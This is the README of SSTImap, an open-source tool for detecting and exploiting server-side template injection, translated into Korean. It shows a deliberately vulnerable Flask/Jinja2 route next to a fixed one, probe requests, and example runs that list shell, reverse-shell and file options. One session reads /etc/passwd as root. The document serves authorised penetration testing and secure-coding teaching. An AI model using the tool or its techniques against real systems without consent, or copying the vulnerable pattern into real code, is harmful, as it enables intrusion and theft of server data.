
대화형 인터페이스를 갖춘 자동 SSTI 탐지 도구
이 프로젝트는 Tplmap을 기반으로 합니다.
SSTImap은 웹사이트에서 코드 인젝션(Code Injection) 및 서버 측 템플릿 인젝션(Server-Side Template Injection) 취약점을 확인하고 이를 악용하여 운영 체제 자체에 접근할 수 있게 해주는 침투 테스트 소프트웨어입니다.
이 도구는 SSTI 탐지 및 악용을 위한 대화형 침투 테스트 도구로 개발되어, 더 고급 악용을 가능하게 합니다. SSTImap용 추가 페이로드는 여기에서 찾을 수 있습니다.
페이로드와 기법은 다음에서 비롯되었습니다:
이 도구는 일부 코드 컨텍스트 이스케이프 및 블라인드 인젝션 시나리오를 악용할 수 있습니다. 또한 Java, JavaScript, PHP, Python, Ruby 및 일반적인 샌드박스가 없는 템플릿 엔진에서 eval() 유사 코드 인젝션을 지원합니다.
이 소프트웨어는 Tplmap의 코드를 기반으로 하지만, 하위 호환성은 제공되지 않습니다.
-i)--generic 사용Eval_generic 모듈을 사용한 일반 평가 템플릿 인젝션 탐지-x) 또는 단일 명령 (-X) 실행-h에서 도움말 확인다음은 Flask 프레임워크와 Jinja2 템플릿 엔진을 사용하여 Python으로 작성된 간단한 웹사이트의 예입니다. 이 예제는 사용자 제공 변수 name을 렌더링 전에 템플릿 문자열에 연결하므로 안전하지 않은 방식으로 통합합니다.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
이러한 템플릿 사용 방식은 XSS 취약점을 만들 뿐만 아니라, 공격자가 서버에서 실행될 템플릿 코드를 인젝션할 수 있게 하여 SSTI로 이어집니다.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
사용자 제공 입력은 렌더링 컨텍스트를 통해 안전한 방식으로 도입되어야 합니다:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
사전 설정 모드의 SSTImap은 Tplmap과 매우 유사합니다. 여러 다양한 템플릿에서 SSTI 취약점을 탐지하고 악용할 수 있습니다.
악용 후 SSTImap은 코드 평가, OS 명령 실행 및 파일 시스템 조작에 대한 접근을 제공할 수 있습니다.
URL을 확인하려면 -u 인수를 사용할 수 있습니다:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
--os-shell 옵션을 사용하여 대상에서 의사 터미널(pseudo-terminal)을 실행하십시오.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
전체 옵션 목록을 보려면 --help 인수를 사용하십시오.
대화형 모드에서는 명령을 사용하여 SSTImap과 상호 작용합니다. 대화형 모드로 들어가려면 -i 인수를 사용할 수 있습니다. 악용 페이로드와 관련된 인수를 제외한 모든 다른 인수는 설정의 초기 값으로 사용됩니다.
일부 명령은 테스트 실행 사이에 설정을 변경하는 데 사용됩니다. 테스트를 실행하려면 초기 -u 인수 또는 url 명령을 통해 대상 URL을 제공해야 합니다. 그런 다음 run 명령을 사용하여 URL에서 SSTI를 확인할 수 있습니다.
SSTI가 발견되면 명령을 사용하여 악용을 시작할 수 있습니다. 사전 설정 모드와 동일한 악용 기능을 사용할 수 있지만, 프로그램을 중지하지 않고 Ctrl+C를 사용하여 중단할 수 있습니다.
참고로 테스트 결과는 대상 URL이 변경될 때까지 유효하므로, 매번 탐지 테스트를 실행하지 않고도 악용 방법을 쉽게 전환할 수 있습니다.
대화형 명령의 전체 목록을 보려면 대화형 모드에서 help 명령을 사용하십시오.
SSTImap은 여러 템플릿 엔진과 eval() 유사 인젝션을 지원합니다.
새 페이로드는 PR로 환영합니다. 개발 속도를 높이려면 팁을 확인하세요.
기법: (R)렌더링, (E)오류 기반, (B)부울 오류 기반 블라인드 및 (T)시간 기반 블라인드; 소문자는 부분적으로 지원되는 기법을 나타냅니다.
더 많은 플러그인과 페이로드는 SSTImap Extra Plugins 저장소에서 찾을 수 있습니다.
현재 Burp Suite는 python2를 실행하는 방법으로 Jython에서만 작동합니다. Python3 기능은 제공되지 않습니다.
이 목록에서 큰 규모의 기여를 계획하고 있다면, 저나 다른 기여자와 동일한 작업을 피하기 위해 알려주세요.
| 엔진 | RCE | 기법 | 언어 | 유형 |
|---|
| Freemarker | ✓ | REBT | Java | 기본 |
| Java generic EL injections | ✓ | REBT | Java | 기본 |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | 기본 |
| Velocity | ✓ | REBT | Java | 기본 |
| Nunjucks | ✓ | REBT | JavaScript | 기본 |
| Velocity.js | ✓ | REBT | JavaScript | 기본 |
| JavaScript (code eval) | ✓ | REBT | JavaScript | 기본 |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | 기본 |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | 기본 |
| PHP (code eval) | ✓ | REBT | PHP | 기본 |
| PHP-based generic templates | ✓ | REBT | PHP | 기본 |
| Jinja2 | ✓ | REBT | Python | 기본 |
| Python (code eval) | ✓ | REBT | Python | 기본 |
| Python-based generic templates | ✓ | REBT | Python | 기본 |
| ERB | ✓ | REBT | Ruby | 기본 |
| Slim | ✓ | REBT | Ruby | 기본 |
| Ruby (code eval) | ✓ | REBT | Ruby | 기본 |
| Generic evaluating templates | × | Reb_ | * | 기본 |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | 일반 |
| doT | ✓ | REBT | JavaScript | 일반 |
| EJS | ✓ | REBT | JavaScript | 일반 |
| Marko | ✓ | REBT | JavaScript | 일반 |
| Pug | ✓ | REBT | JavaScript | 일반 |
| Smarty | ✓ | REBT | PHP | 일반 |
| Cheetah | ✓ | REBT | Python | 일반 |
| Mako | ✓ | REBT | Python | 일반 |
| Tornado | ✓ | REBT | Python | 일반 |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | 레거시 |
| Twig (<=1.19) | ✓ | REBT | PHP | 레거시 |
| Templite | ✓ | REBT | Python | 레거시 |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | 레거시 |
| CVE-2025-1302 | ✓ | REBT | JavaScript | 추가 |
| CVE-2025-13204 | ✓ | REBT | JavaScript | 추가 |
| CVE-2022-23614 | ✓ | REBT | PHP | 추가 |
| CVE-2024-6386 | ✓ | REBT | PHP | 추가 |